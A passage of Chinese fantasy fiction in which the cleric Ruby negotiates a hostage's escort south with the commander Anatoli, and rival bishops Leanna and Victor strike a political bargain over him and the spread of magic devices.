“也就是说没法充能?” “对,但是因为其运行大部分依靠机械而不是魔力流动,因此非常节能,会比普通的魔导器用的更久。” “那他的主要功能只有监视和传音?” “是的,目前比较成熟的功能是这些,当然,还有信息传输,未来或许会考虑更多的功能。” “真是有趣又实用的造物!” 露比发自内心地感叹,并且不自觉地合上了掌心。 斯捷潘对前来神官的反应有些意外,在他的印象中,教廷保守派魔法师占大多数,他们大多魔法天赋卓然,自视甚高,认为使用魔导器是先天不足的弱者才需要的,甚至极端的还会对魔导器研发和使用技巧冠以“旁门左道”的污名。 哪怕除开以上傲慢的保守派,在教皇不择手段强化教廷权威的当下,魔法由神明赐福成为主流,人造的魔导器虽然被广泛使用,但是始终无法获得大方向上的肯定,公开支持研发魔导器似乎有和主流背道而驰的嫌疑。 这位名叫露比的魔法师竟然会如此不加掩饰地大加赞扬自己制作的机械,还对魔导器感兴趣,在教廷内部或许相当地特立独行。 “很荣幸您能对此感兴趣,之后我们还可以详细讨论,我类似的作品还有很多,集中在防线第五层b—5089储藏室里,等工作结束后欢迎您前去指点。” “好的,我非常期待,那么现在进入正题吧,阿纳托利团长在哪?” “请移步会议室,阿纳托利长官在那里来等待客人,我来为您引路。” 三人正准备通行,斯捷潘却回头带着笑意盯着亚瑟和罗杰。 “抱歉,二位,长官需要和露比神官单独会面,我的同事会带两位参观泰西防线,如果累了也可以去准备好的休息室。” “怎么这样……” 亚瑟不满地嘀咕,正准备再发两句牢骚,就被罗杰在背后踢了一脚,马上闭嘴了。 “我们先去休息室,就不给各位添麻烦了。” 罗杰礼貌地向斯捷潘微微鞠躬。 “好的,两位的餐食稍后会送到两位各自的房间,希望两位好好休息。” 斯捷潘将义肢放在了胸口也朝二人微微鞠躬。手臂上转动的零件泛着金属的寒光,刺得罗杰的双目有些生疼,灵敏的感知天赋让他背后不自觉地有点发毛。 斯捷潘挥了挥手,两个身着黑色制服的工作人员便带着亚瑟、罗杰去了另一边。 亚瑟跟在领路人身后,压低声音不满地问罗杰, “你拦着我干嘛,我就说两句怎么了,本来就是他们在为难我们,非要把我们和露比神官分开,难道他们还能揍我一顿不成?” 罗杰皱眉狠狠地刮了亚瑟一眼。 “傻子,别人流程合理,主体合规,我们俩又不是一级神官,本来就没有资格参加涉密会议和交谈,在教廷那是别人给露比神官面子,露比神官也有意多教我们东西,我们才能进会谈室,现在来了别人的地盘,别人没这个义务;而且关于揍你一顿的问题……我觉得你确实应该感谢我。” “啊?为什么?” “刚刚那位自称斯捷潘的工程师,实力至少和露比神官差不多,而且他刚刚在你说话的时候已经微微展开魔力了,如果你再无礼一点,我觉得他说不定真会给你两拳。” “那个残疾人竟然这么强……” “别说话了,我看这里的人都不是什么吃白饭的。” 罗杰扯了下亚瑟的袖子,朝领路人那边瞥了两眼。 亚瑟明白了他的意思,终于不情不愿地闭上了嘴。 而在亚瑟这个没眼力见的倒霉蛋走后,两位上级的交涉似乎直接了许多。 “刚刚毕业的毛孩子罢了,虽说不是很懂礼貌,斯捷潘先生也大可不必如此严阵以待,都开始准备展开魔力了……” “我的工作是确保交接顺利,不让任何无关人员打扰您和团长的交涉,谁知道冲动的年轻人会做出什么事呢?我总要做好应急的准备,泰西防线可不是这群年轻人撒野的地方。” “您对工作一丝不苟的态度令我敬佩。” “谬赞,您也同样认真,刚才不也已经做好随时出手救人的准备了吗?” 对方仍然带着温和的笑打量着露比。 “客套话咱们就免了吧,露比神官,这边请。” 说罢转身带路。 露比微微颔首,然后抬眼凝视着前方带路者的背影。 从抵达防线开始,他们一行人就接受到了恩威并施的待遇。阿纳托利并没有在礼节上亏待她,也没有拖延时间或者任何不配合,但是却在反复展示泰西防线的建设成果。作为北方的门户,泰西防线可以说是北方实力的缩影,因此对其成果的展示无异于是在向教廷含蓄地强调自己的实力。 “可真难缠啊。” 露比在心里嘀咕。 “哪怕是当人质也想要掌握主导权,不放弃任何一个讨价还价的机会,只要被发现一个弱点,他就能咬下一块肉来,这种人最麻烦了。” 6. 真诚就是必杀技 即将交涉,露比内心有些忐忑。 她闭上眼睛,回想起自己出发前去找莱安娜,她那时候给出的建议。 “你说这份工作是烫手的山芋,觉得阿纳托利对于南方抱有极大的敌意,因此接引工作必然棘手,而且阿纳托利虽然是人质,但作为守住北方防线的英雄终究要接受荣誉和职位的,你担心作为使者回到南方后会受到来自阿纳托利的恶意。” “难道不是吗?毕竟是我押送他回到南方。” “不是这样。” 莱安娜微笑道, “你们当年在学院打联赛也有接触,虽说他是严肃了一些,但是一个很好的人。” “我们当时是休戚与共的队友,但是现在涉及他自身利益,难保……” “就我的了解,阿纳托利无论是气量亦或者目光都不会如此狭窄的,你不用担心他因为公事记恨上你。” “那我需要注意什么?” “坦诚以待就好。我估计阿纳托利他会把事情办的很漂亮,既不会给教会挑到错处,但也不会对教会言听计从,对他这种傲上怜下的人,你只要把任务内容实话实说,他不会为难你的。” 莱安娜说这话的时候隔着帘子,露比没有看见她的表情,因为受伤的原因,她仿佛提不起力气,说话的声音很轻,露比很难辨别她的情绪。 “莱安娜,我还有一个问题。” “嗯嗯,你说。” “这次使者之所以选择我,是因为我有去北地试炼的经历,但当年我并没有去过北境……” “不用担心,不会被发现的。” 露比心里有些没底,教廷之所以如此安排,是考虑到她和北方防御团的共事经历。但是当年,真正来北方支援剿灭魔兽的人并不是她。 白色的纱帘将二人隔开,阳光洒进室内,露比可以透过帘子看到莱安娜的侧影,她半躺在病床上,时不时会抬手遮掩下咳嗽。 “莱安娜,你是不是其实这次也是想要自己去?” 帘子后的人沉默了良久,仿佛没有听见这个问题。 “莱安娜……” “露比。” 对方终于轻声回应了她, “已经,不重要了。” 她叹了口气,继续说道, “计划远赶不上变化,很抱歉这次因为意外让你阴差阳错地接了这个累活。半月前教皇决定要阿纳托利南下开始,我就打算借着接引工作的机会亲自去见他,告诫他一些必要的事情。现在这样也好,如果一开始就由你去,之后我也不用费功夫和他划清界限了。” 她的语气很平静,没有失落也没有无奈,仿佛只是在陈述一个客观事实那般冷漠。 “那需要我做什么?” “转告阿纳托利接受教皇剿灭工作的任命之后要务必小心,同时一定要和各位主教保持距离,包括我。东区的魔兽潮、教皇和女神的任务远比你们想象得凶险,只有置身事外才有机会平安回到北方。而且现在正是魔导器改良项目的关键时期,如果让其他人觉得北地人牵涉其中不利于项目推进。最后,不能让他察觉出你我的私人关系,作为教皇候选人,我早晚有可能和他对立,但你还要和阿纳托利长期合作。” “我明白了。” “接下了这次任务,你就可以和阿纳托利搭上线了,至于你能获得多少助力推动魔导器项目研发就看你自己了,明面上你负责的农用机械工作能够为你们魔导器的合作提供很好的掩护,教廷的其他阻碍我会按照我们之前的约定尽可能摆平。” “我会竭尽全力,只有开发出普通人也能轻松使用的魔导器,才能让更多人在魔兽潮中活下去。” “露比,你认为只要魔法普及化之后,灾难就能结束了吗?” “我不知道。”露比摇了摇头。 “但至少,灾难中的人们会有更多选择的权利不是吗?” 莱安娜没有表态,只是沉默了一会儿后提醒了她另一个问题。 “对了,虽说现在南北缓和是大势所趋,但是难保没有别有用心的人从中作梗,走之前记得带上你和阿尔文主教一起开发的防御装置,防止路上有什么意外。而且这也是个难得的机会,你对魔导器一直很感兴趣,你可以去泰西防线好好看看。” “嗯,我会的。” “拜托你了,露比。” “莱安娜,你不用这么客气的……莱安娜?” 对方没有再回应她了,露比轻轻拉开帘子。 莱安娜的头微微歪着,靠在病床的枕头上,她脸色差到了极点,眼睛紧闭着,灯光洒在脸上,睫毛投下细碎的阴影,她仿佛睡着了一般,整个画面平静而安详,前提是忽视她身上插着许多触目惊心的管子,这些有拇指粗的管子如同蛇类或者荆棘一般,从她的腹部、肩膀、心脏穿过,伴随着魔力的传输的频率而轻微地蠕动,露比看着只觉得痛和恶心。 对方果然已经再一次进入了昏睡,科萨特主教在露比来访前就提醒过她,虽然在女神那里接受了治疗,但是还需要进一步休养,能在如此短的时间内苏醒已经难得,并且能保持清醒的时间并不多,不过好在她们的关键信息已经交流完毕了。 她叹了口气,拉上帘子,转身离开了治疗室,然后马不停蹄地赶往泰西防线 ······ 露比收回了回忆的思绪,打起了十二分精神。 她已经站在了等候室门口,门被斯捷潘拉开,她看见了那张熟悉的脸。 他比起在奥利弗学院的时候变了许多,但那双灰色的眼睛还是如过去那般锐利而坚定。 “来关押我的人终于到了。” 他冲露比轻笑,露比心里有点发慌,她不敢接这句话,只是走上前,带着微笑认真地伸出了右手。 “好久不见,阿纳托利前辈。” 阿纳托利似乎很惊讶这个称呼,不自觉地眯了一下眼睛。 “好久不见,露比。” 阿纳托利友善地握住了她的手。 “或许现在应该称呼您为神官阁下……” 阿纳托利说这话的时候仿佛还带着松弛的微笑,但这样的称呼,足以让露比的心冷下去。 当过去的同窗拒绝了你的套近乎,如同陌生人之间的交涉又要怎样顺利进行呢? “前辈既然这样称呼我,看起来是不打算和我绕弯子了。” “玩笑话,你我对于教廷的工作都很认真,怎么会有这样的打算。说吧,需要我做什么?” 阿纳托利很松弛地倚靠在椅子上,仍然带着温和的笑容,一副配合工作的姿态。 露比在心里皱了下眉。 这人的话得掰开了听,前半句戒备十足,后半句倒是又给递给了她一个台阶,自己这不得识时务地顺着杆子爬。 “根据教皇陛下的命令,前辈和我同行,在播种日前回到圣都接受荣誉和任命。” “这是自然的,我的妹妹伊莉雅应该在致教皇的信函中说明了我会配合,但露比神官应该还有其他任务要我配合吧?” 冰冷的目光落在露比脸上,那是观察对手的神情。 露比攥紧了手心,面不改色地回应。 “是的,如您所料,我还有监视您的任务。” 阿纳托利的眼中闪过一丝惊讶。 这位女士比他想象地还要莽撞,亦或者是坦诚。 “您看上去很吃惊,以为我还会委婉两句?” 露比笑着挖苦了两句,然后端上了桌面上的茶水,一饮而尽。 “像我这样的普通人没有资本虚与委蛇,坦诚是我最拿得出手的筹码之一。” 她苦笑着。 “确实是我的误判,但按照以往经验,南方的神官们和神明交流太多,连人话都说不利索,他们可没有你这么直接。” “不错的嘲讽,很有礼貌。我应该感谢前辈把我排除在外了。” “不客气,礼尚往来,既然你愿意开诚布公地谈一谈,我自然要拿出相应的态度。” 阿纳托利微笑着给露比的茶杯里倒上了茶。 “所以,你的监视工作具体包含哪些呢?” 露比听了这个追问,忍不住在心里狠狠骂。 “说好的拿出相应态度,就是继续问问题?” 她控制着下意识上翻的白眼,挤出礼貌的笑容,不急不慢地回答道, “教廷给我监视任务一是确保你回圣城,活要见人,死要见尸体,二是……” “是在泰西防线安□□们的人是吧?那两个刚毕业的实习“神官”,真是大胆的计划。” 阿纳托利干脆地打断了她,露比端着茶托的手在空中轻微地晃动了一下。 “你是怎么知道的?” 露比抬头惊讶地盯着他。 “非专修攻击魔法的神官一般会配有擅长战斗系魔法的候补或神侍是惯例,按常理并没有什么奇怪之处?你从什么时候怀疑的?” “教会资料上你是应用系魔法的人才,如果是这样,带个候选人或者神侍增加安全性也不奇怪。” 阿纳托利一边说着,一边朝自己的奶茶里加了一勺盐。 “但在这三个人当中,你才是最擅长攻击型魔法的人吧?” 露比没有说话,她快速地回忆,她确信哪怕是在斯捷潘的试探之下也并未暴露过自己的实力。 “别这么惊讶,你忘记我们在奥利佛学院的联赛曾有过一面之缘,你的防御技巧让我印象深刻,我不相信数年过去你会原地踏步。” “前辈谬赞了,我不过是样样会样样不精的庸才。” “教廷资料优先登记中阶以上的魔法种类,你可是同时掌握高阶的应用系魔法和中阶战斗系魔法的全才。” 阿纳托利毫不吝啬对她的肯定。 “除此以外,北方的魔力检测技术有所发展,从你们进入泰西防线开始,新型仪器就判定你是攻击型法师。因此带的那两位年轻人想必肩负教会的其他任务。” “您现在知晓了教会隐藏的计划,要怎么处理那两个孩子呢?” “现在问我怎么处理是不是有点晚了?你对你的心腹可真不厚道,我猜他们俩还不清楚教廷的打算吧,就这么稀里糊涂地成了教会的弃子。” “不,留在北方对他们俩不一定是坏事。” 阿纳托利听了这话眉头一皱。 “看来你还有别的打算?” “我实话实说吧,首先,当下教会局势很复杂,留在南方并不安全。其次,我的这两位学生中有一位擅长探查,但在圣都毫无用武之地,但魔兽潮前线能派上大用场。另一位在圣都遭到了两次来源不明的追杀,我正在追查,来北方暂时能安全一些。” “你这是把泰西防线当成学校还是避难所了?” “作为老师,我总得为自己的学生谋划吧,而且泰西防线守卫森严,被誉为神明的屏障,难道阿纳托利团长觉得它连两个孩子都庇护不了?” “激将法没用,泰西防线没有任何义务承担你们的风险。” “我们自然有相应的报酬。” 露比微笑道。 “被追杀那孩子叫亚瑟·格洛尔。” 听到这个名字,阿纳托利有些惊讶。 “贝拉主教和他什么关系?” 阿纳托利记得格洛尔本家这一代只有贝拉一个女儿。 “要打八杆子才能搭上点边的远亲。” 露比苦笑道。 “目前我查到的两次追杀,很可能与格洛尔本家有关系。” 阿纳托利闻言眼神变得更加锐利。 为什么要费尽心思地对旁系的孩子赶尽杀绝呢?这孩子是身份有什么蹊跷还是知道什么关键信息? “这孩子的身份有什么疑点吗?” “没有,不是身份的问题,这孩子百分百和本家没有关系。” 露比摊了摊手。 “我也问过他是否知道有关格洛尔家族的事情,这孩子就没去过几次本家……所以谋杀的动机我也还在调查。” 如此大费周章的追杀,那孩子一定知道什么,只不过可能是连本人都没有意识到的微末信息。这样看来,从这孩子入手调查没准能 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“除了刚才说的保证两个学生在泰西防线的安全,我需要您协助我获取十颗泰西防线以外的魔兽结晶;您本人戴上限制措施后和我一起南下;作为防御司司长支持魔导器研发项目。作为回报,我将任您驱使,和您共享情报,并帮助您平安回到北方,您很需要内应,不是吗?” 阿纳托利沉思许久后缓缓开口。 “交易的内容对我可有些不公平,魔兽和项目倒是好说,但为了得到一个内应就答应教会的限制措施有些太不划算了。” “这个可别怪我头上,这可不是我和您的交易,是教会既定的内容。” 她一脸无辜的样子。 “行,其他条件我可以接受,但是我对两个问题存疑,一是如何保障契约的履行。” “我可以和您订立单方面的反噬魔法,如果我有违诺言您可以随意处置我的性命。” “那我呢?如果我反悔呢。” 阿纳托利笑着问道。 “我愿意相信您,因此没有任何措施,这是我的诚意,也是对您所说的交易不太平等的回应之一。” “好的,感谢您的信任,最后一个问题——教廷的限制措施是什么?” 露比掀开宽袍,从腰包中拿出了一个隐约泛着光芒的银链。 “这是女神特制的禁锢项链,它有阻断佩戴者的魔力流动的功能,只要钥匙所有人操控,佩戴者就没法使用魔力了。带上它,也就意味着您处于教会的绝对控制之下。” “懂了,让我当狗。” “是。” 在不假思索地回答之后露比疯狂地摇头, “不是不是…倒也不至于,” 露比尴尬地挤出微笑, “别说的这么难听,这相当于对教廷的一个保证,以你的实力,不用这种限制方式,教会也不敢贸然让我一个普通神官接你回圣都。” “钥匙不在你手里?” “我没有这个权限,为了防止佩戴者找到钥匙,教廷会交给主教之一,但具体是哪位主教是保密的。” “我明白了,关于南下你还有什么建议吗?” “我个人建议,您担任防御司司长之后,尽可能不要去插手过去主教们分工好的魔兽清剿工作。” “理由?” “魔兽清剿工作以东西为界,当前是由维克多主教和莱安娜主教分别负责,其中牵涉众多,风险也很大,贸然参与容易掺合进主教们的争斗中,您想要平安回到北方最好远离这些事情,这毕竟和您自愿来守卫泰西防线不一样。” 阿纳托利听到此处突然抬头,盯着露比。 “你……” 露比感觉他此刻的眼神十分复杂,不觉飞快回忆有无说漏什么话,确定无误后才又给自己打气似的挺直了腰板。 “有什么问题吗?” 她试探道。 “不,没什么……” 露比观察他神色如常,刚才一瞬间的压迫感或许只是自己的错觉,想到此处便松了口气。 “好了,最后一个问题,露比你提出的条件和自己没有直接联系,却愿意付出生命的代价,你所求的是什么呢?” 露比没有马上回答他,在心里思考良久后才缓缓开口, “您知道,不是每个人都有魔力,魔导师只占人口不到万分之一,魔法师更是少数。但是魔导器可以弥补普通人没有魔力的缺陷,一旦魔导器普及,民间的平民面对魔兽也不至于坐以待毙,我的故乡在被纳入结界防御系统之前一直饱受魔兽潮折磨,在被纳入防御系统后也会因为时不时的漏洞受到侵扰,如果发明出普通人也能轻松使用的魔导器,大家至少能活得轻松一些。” 露比见阿纳托利对自己的答案未作反应,立刻补充道, “如果您不相信,我还可以……” 话音未落,阿纳托利干脆地戴上了那条项链,在项链和他皮肤接触那一刻迅速贴合,并很快消失了,仿佛从未存在过,有一种清凉但温和的触感,并没有他想象的疼痛,如果不是他脖颈处一圈金色复杂的锁纹,仿佛什么也没发生。 “你放心,我愿意相信你,我会和你一起回教廷,配合你的工作,并保证离开前处理好泰西防线的防御事宜。” “感谢您的信任。” 露比朝着他微微低头致谢。 “果然如莱安娜所料,坦诚相告,他的态度便缓和了,他确实不会为难听命办事的工作人员,而且就目前的诚意来看确实是一位值得信赖的合作对象。”露比心想。 “但是有个地方不太对劲……” 她悄悄抬头打量阿纳托利,他正在偷吃本来预留给露比的茶点,顺走食物的动作行云流水没有一丝愧疚。 “我坦言相告早在谈话开始,他在当时虽然态度缓和了些,但实际行为并未放松警惕,之后突然拿出诚意,是出于什么原因选择信任我的呢?” 她盯着阿纳托利仔细思索着,对方很快发现了她的目光。 “还有什么问题吗?” “没有,祝你我归途顺利,女神庇佑!” “归途顺利。” 7. 与虎谋皮 在露比和阿纳托利准备南下时,莱安娜终于醒了过来。 从维曦的空间出来后,阿萨特又给她进行了深度治疗,在经过了长时间的半昏迷的状态后,总算恢复了正常。 她在缓步到了病房外面的庭院。 静谧的清晨是一天中最美好的时光之一,昨晚下了雨,庭院中弥漫着潮湿的泥土气息,在这股有些发涩厚重的味道后面隐约透着玫瑰的馥郁。 她很喜欢这种富有自然生命力的气息,尤其是刚从生死边缘回来,这种气息仿佛在告诉自己。 “你还活着。” 她坐在凉亭中静静地坐着,过了一会儿闭上了眼睛。 但一个不速之客打破了此种平静。 “看来你恢复得不错……” 她缓缓睁开眼睛,打量着眼前这个坏了她清净的人。 眼前的面孔带着张扬灿烂的笑,那双蓝色的双眼直勾勾地盯着她。他把手放在胸口冲她微微鞠躬,算是打了个很有礼貌的招呼,只是那头金发在晨光的照耀下有些扎眼,莱安娜有些不快。 她没有起身,只是坐着冲他微微颔首。 “承蒙你的关心,维克多主教。” 她语气没有任何起伏,但维克多依然能从那双祖母绿般的眼瞳中感受到戒备。 “我刚醒,维克多主教就来了,想必是有需要我的要紧事。” “你不用这么生分吧,我不能是单纯关心你的身体健康?” “您说得我们像是老朋友一样。” 她莞尔一笑,但眼里敌意更是不加掩饰。 维克多摊了摊手无奈地笑了笑, “别这么戒备,莱安娜,好歹是我第一时间送你去找阿萨特主教的,不是吗?” “我听说了,但是谁知道这不是您自导自演的呢?” “你很清楚不是我做的。”他带着微笑逼近莱安娜,“我如果要动手那必然是更直接的方式。” “您什么时候变成了一位光明磊落的绅士?” “我一向磊落,况且以我们的情分,也不可能这样对你。” 他眯着眼睛笑道。 “哦?我们之间,有什么情分?” 我们好歹也是共事了三年的同事,而且我认识你也有十多年了。” “是给我使了三年绊子的同事以及十多年没什么交情的同学或者……袖手旁观的看客。” 她礼貌地补充。 “这样说起来我们确实很生分,哈哈。” 他毫不在意对方的冷落,带着灿烂微笑,自顾自地坐到了莱安娜旁边。 “但亲爱的莱安娜别忘了,虽然我们确实很生分,但正是我帮你顺利掌握了艾夫忒宁家族,坐稳了主教的位子,不是吗?” 莱安娜托着下巴缓缓转过头来, “这么说来,我应该感谢您?在我兄长咽气后您突然转性,对我手下留情?” 她语气轻飘飘的,不带一点怒气,还是带着温和的微笑,眼睛微微眯着,连眼里的敌意都藏得一干二净。 “莱安娜,无论你怎么讨厌我都无法否认一点,我有恩于你。” 他轻声说道,笑容愈发灿烂。 “维克多,你对我没有恩情,你只是为了自己。支持我成为主教也好,议会代表的选举也好,不也只是觉得当时的我很好控制吗?” 她斩钉截铁地打断了维克多。 “闲聊到此为止,如果是来谈合作的话我认为至少应该摆正我们双方的位置。” 莱安娜放下了撑着下巴的手,转过头直视眼前的对手。 “我现在和你势均力敌,维克多主教。” 清晨的阳光不算刺眼,如烟如纱,薄薄一层罩在她的脸上,深棕色的发丝在阳光下仿佛在发光,她带着从容的微笑,睫毛投下细碎的阴影,墨绿色的眼瞳在阴影中更加晦暗不明,眉眼之间是不再掩饰的敌意。 维克多盯着她,在阳光下带着浅笑的对手。 他突然觉得眼前这个人像极了一把简洁锋利的匕首,在阳光下熠熠生辉。 人们欣赏着它的美丽,却也忌惮它的锋芒。 “势均力敌,呵,哈哈哈……” 他忽然无所顾忌地大笑起来, “对,那是当然,在工作上您当然与我势均力敌,莱安娜阁下。” 仿佛听了一个极大的笑话,他要费好大的力气才恢复平静。 “不过嘛,” 他走到莱安娜身后,托起莱安娜的一缕头发。 “其他地方,我们还相差甚远。” 莱安娜抬手就是一击。 但被完美地挡了下来,庭院里仿佛只是有一阵风吹过,除了因能量冲击断掉的一簇头发,仿佛什么都没有发生。 “女神大人的戒律——神职人员之间不可互相攻击,你的魔力阈值还没有突破瓶颈期吧?再加上还没有痊愈的伤,这次我就不和你计较了,亲爱的莱安娜。” 他将手中的碎发吹走,漫不经心地拍了拍手。 “真动起手来,这个状态的你不是我的对手。” 莱安娜没有说话,只是戒备地盯着他,似乎仍在随时准备发动第二击。高强度魔力的影响下,院里仿佛刮起了风。 “好了,不要这么严肃,现在要听听我来找您合作的计划了吗?我保证您不会失望的。” 他的笑容在此刻的晨光中甚至有一丝天真,那双如天使般的蓝色眼睛一如既往的让她感到厌烦。 “……” “都说了不要一直摆着戒备的姿态呀,作为你的老朋友我会很难过的!” 他仿佛被伤到一般,摊手叹气。 “我的合作计划是关于即将南下的人质——阿纳托利。” 话音刚落,维克多就睁开了刚刚眯着的眼睛,认真地盯着莱安娜。 她收起了魔力,庭院里的风停了。 “冷静下来了,我亲爱的莱安娜。” 他仍带着笑。 “进入正题吧,你想做什么?” “让阿纳托利来我的辖区,最好让他别当什么破司长。” “防御司司长这事儿已经板上钉钉,至于来不来你的辖区,和我有什么关系?” 莱安娜冷漠地说。 “和你有什么关系?”维克多一挑眉。 “原定为司长的格里卡尔是你的属下,你能甘心让给阿纳托利?” 维克多好奇地打量着莱安娜。 莱安娜沉默了一会儿,转头问道。 “那你又为什么要阿纳托利去你的西区?” 维克多盯着她的眼睛,心中窃喜,看来这事有得谈。 莱安娜真的不想阿纳托利去东区。 他将头低了下来。 “咱们的目的是一致的,西区的魔兽潮太麻烦了,这次平定花了我不少时间,都没有功夫研究魔法,我希望未来能有个可靠的苦力代我干活。” “是帮你背锅吧?”莱安娜讽刺道。 “哎呀,如果他足够有能力摆平,自然也不至于到那一步。”他笑着说。 “你还真是把全部精力放在了敛财和魔法上,你的魔导器生意想必都卖到西区以外了,否则也不用怕阿纳托利来东区,你不也是想把他放在眼皮子下,怕他在我这里查到你的把柄。” 莱安娜嗤之以鼻。 “你这么懂我,我真的很开心……” 他一副知音难遇的样子。 “但你是怎么知道我魔导器的生意的?”他的眼神变得危险了起来。 “您爱钱如命,魔导器都卖到我眼皮子底下了,我又不瞎。”她白了维克多一眼。 “所以你看要不这样,”维克多笑着说,“你之后在联合会议上拒绝阿纳托利支援你的驻地,我把西区的魔导器转移到你的辖区。” “那你要支付什么代价呢?” “你想要什么?” “联合会议上支持魔导器普及化的项目,以及出资新型魔导器的开发。” 她笑着说。 “喂,你太贪心了,这可不是一笔小数目!” “我还没说完呢?这就怕了?”她笑着摆了摆手,继续说道。 “两年前你阻挠魔导器普及项目,让魔导器公有化失败,不就是为了让其流通市场方便你们敛财吗?怎么?黑心钱还没有赚够?” “我也是迫不得已,那么多工人要领薪水?要是以后魔导器必须要教廷登记,公益发放,我手下那些工人们会失业的,难道不是很可怜吗?” 他无奈地摊了摊手。 “而且怎么能叫黑心钱呢?目前法律并没有规定魔导器属于管制商品,我的产业并不违法。而且我们制造魔导器,平民们出钱买平安,这不是相当公平吗?教廷的庇护总有照耀不了的地方,总不能剥夺他们求生的权利吧?” “若是公益方案通过,他们可以拥有免费的魔导器,而不是向你们购买以十倍成本价出售的劣质魔导器。” “莱安娜,交易讲究一个你情我愿,轮不到你替买家鸣不平。” 维克多笑着反驳道,“不过你倒是会想办法,魔导器公有化普及的路被堵死了,你就着手开始开发新型魔导器,一方面控制成本降低价格,一方面降低门槛,让普通人也能使用。你怎么总是对他们这些人如此关心?哦,我知道了,同类相惜罢了。” 他故意把最后几个字念得很重,但莱安娜只是抬眸嫌弃地瞥了他一眼。 “嘲讽我的出身并不能减轻你的罪恶,也不会减少我们合作的条件,要想东区帮你打掩护,你们必须支持魔导器普及化项目。” “那没得谈了,这么一大笔钱是在要我的命。” “当然有得谈,是我更怕阿纳托利来东区顶掉格里卡尔的职位,还是你更怕那些地下生产线被翻出来?神职人员禁止从事商业,维克多主教不会不清楚吧?” 莱安娜微微一笑。 “虽然作为主教不能从事商业,但魔导器生产本身并不违法,我顶多会因为女神的戒律挨点不痛不痒的处分……” “不痛不痒?”莱安娜打断了他。“单是违反了戒律确实不会有太严重的惩罚,但如果还有渎职罪呢?西区的魔兽潮远没有东区严重,却是最近才平息的,你现在想必是盆满钵满了。” 维克多不语,只是抬眸盯着她。莱安娜只当没看到,慢悠悠地喝了口茶。 “两个条件,你答应或者不答应?” 她的声音和气息总是温和的,但在维克多听来却异常刺耳。 “成交。” …… 维克多走出庭院的时候,太阳已经完全升起,清晨的氤氲已经完全褪去,那层如梦如纱的薄雾已经被阳光撕的粉碎,明晃晃地露出这个世界的模样。 他把外袍脱下,搭在小臂上,慢悠悠地走下台阶,不忘薅了一把扶手处的小雏菊。 “大人,还顺利吗?我能感受到魔力波动,二位动手了?” 克里斯神官快步走上前去接过维克多的披肩。 “不太顺利。” 维克多笑着说道,一边摩挲着手里的雏菊。 “看来你进步了不少,我已经尽可能盖过冲击造成的波动了。” “都动手了?没的谈了吗?莱安娜主教拒绝和我们一起阻止阿纳托利就任魔兽防御司司长?” “不是,她动手是因为我的玩笑,不是我们合作的内容。” 维克多嘴角仍有一抹浅笑,宛如一个恶作剧得逞的孩子那般满足。 “维克多大人,您对莱安娜大人这样轻浮,早晚有一天会招致祸患。” 克里斯正色道。 “哪里是轻浮,瞧克里斯说的,一个讨老朋友欢心的玩笑罢了,我是怀旧的人,她可是我挚友的妹妹,如何不多关心几分?” “好吧,您一向如此,所以二位的正事谈的如何?” “莱安娜确实不希望阿纳托利成为防御司司长,毕竟防御司是她一手推动设立的机构,原本计划任命的格里卡尔和她勾连很深,现在突然换成了阿纳托利,她当然不愿意。” “听上去合作的希望很大,那您为什么愁眉苦脸的呢?” “因为她开出了很离谱的条件。” 他打断了克里斯,并将手中的雏菊捏成一团。 “她现在是主教、是高阶法师、但要论出身不过就是个平民,如果没有魔法造诣连和我对话的资格都没有,竟敢和我讨价还价?” 他语气平缓,但克里斯也能感 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在车上,一直在闭目养神的维克多突然冷不伶仃地冒了一句话。 “你还记得文森特吗?克里斯。” “啊,这家伙又想起死人了。”克里斯忍不住在心里骂道。 “我当然记得,莱安娜主教名义上的兄长,艾夫忒宁家原本的主人。” “一个在魔法编写和理论研究上极有造诣的天才。拥有合法继承权、对外广受赞誉的贵族,对莱安娜呵护备至的模范兄长……如果不是他死了,也轮不到莱安娜这个卑贱的平民来作家主。” “莱安娜主教在那时候已经是神官了,严格来说不算平民。” 克里斯补充道。 “神官也好,主教也罢,头衔职位不过是虚的东西,她出身低劣,如果不是侥幸有点魔法天赋,连被艾夫忒宁家选作傀儡的资格都没有。” 维克多皱起眉,一想到那个卑劣的平民对他摆着主教的架子,对那些泥巴里的人却总是一副同类相怜的样子,他直犯恶心。 “选择培养一个傀儡也是必不得已的挣扎,主要是文森特大人也并非完美的继承人,您忘记了?他天生没有魔力。哪怕德行、才华再出众也是无法竞选主教席位的。如果艾夫忒宁不找一个好摆布的傀儡,失去神职领域影响力的他们很快就会跌成低等贵族。” “我没忘记,养傀儡、养备选人这些都很正常,说到底不过是艾夫忒宁家族和文森特没用罢了,竟然被自己养大的狼咬断了脖子,你看看雷克家族,我记得他们家的养子通过神官试炼后已经给妻子让出了席位,前几年还给家主生育了天赋不错的后代。” 克里斯短暂地思考了一会儿,抬起了头, “对,我见过他,那人是叫布莱克,确实听话,能和安妮·雷克小姐结婚已经是神明对他的赐福了。” “可不是吗!总之,承担试炼的风险,繁育有魔力的下一代,才是这些傀儡的归宿,而且已经是极大的荣幸了,毕竟对于这些平民而言,他们累死累活一辈子也不一定能获得爵位。” 维克多的表情再一次变得轻松明快起来。 “所以我才这么讨厌莱安娜,她开了这个不好的头,其他人要是和她一样,也搞不明白自己的位置就太麻烦了。” 克里斯听了他的抱怨,不自觉地勾起嘴角,浮出一抹浅笑。 “维克多大人不必忧虑,我相信大部分人心中都有杆秤,只要微微低头就能衣食无忧、富足一生,谁会赌上一切反抗?贵族们收养魔法师来巩固家族势力早已司空见惯,这么多年不也只出了莱安娜一个不听话的主教吗?” “也是,她确实……” 维克多顿住了,他一时间不知道该用什么语言来形容自己这位棘手的对手。 “我现在和你势均力敌……” 对方从容的话语仿佛萦绕耳畔,一想起来就觉得无比刺耳。 他不自觉地想起了一些东西,他已经认识莱安娜十二年了,虽说讨厌对方,也不得不承认他们有太多共同的回忆。 维克多定了定神,良久后才下了结论。 “她是个不好对付的异类……” 他微微侧身拨开帘布,朝着疗养处的方向望去,神情晦暗不明。 克里斯瞥了一眼维克多,惊讶无比。 “这可真是极高的评价。” 克里斯知道维克多是一个狂妄傲慢的人,但他有相应的资本。 瑞恩家族算是王族的分支,家族的历史甚至比帝国还要古老,瑞恩家的现任家主卡梅里亚是维克多的亲姑姑,把控贵族议会已经十年有余,作为强大富裕的家族继承人,维克多已经习惯了俯视别人,魔法领域首屈一指的天赋更是让他变得不可一世,他很少会把人视作威胁,能让他用“不好对付”来形容的人更是屈指可数。 “关于莱安娜主教,我有一事不明。” “说。” 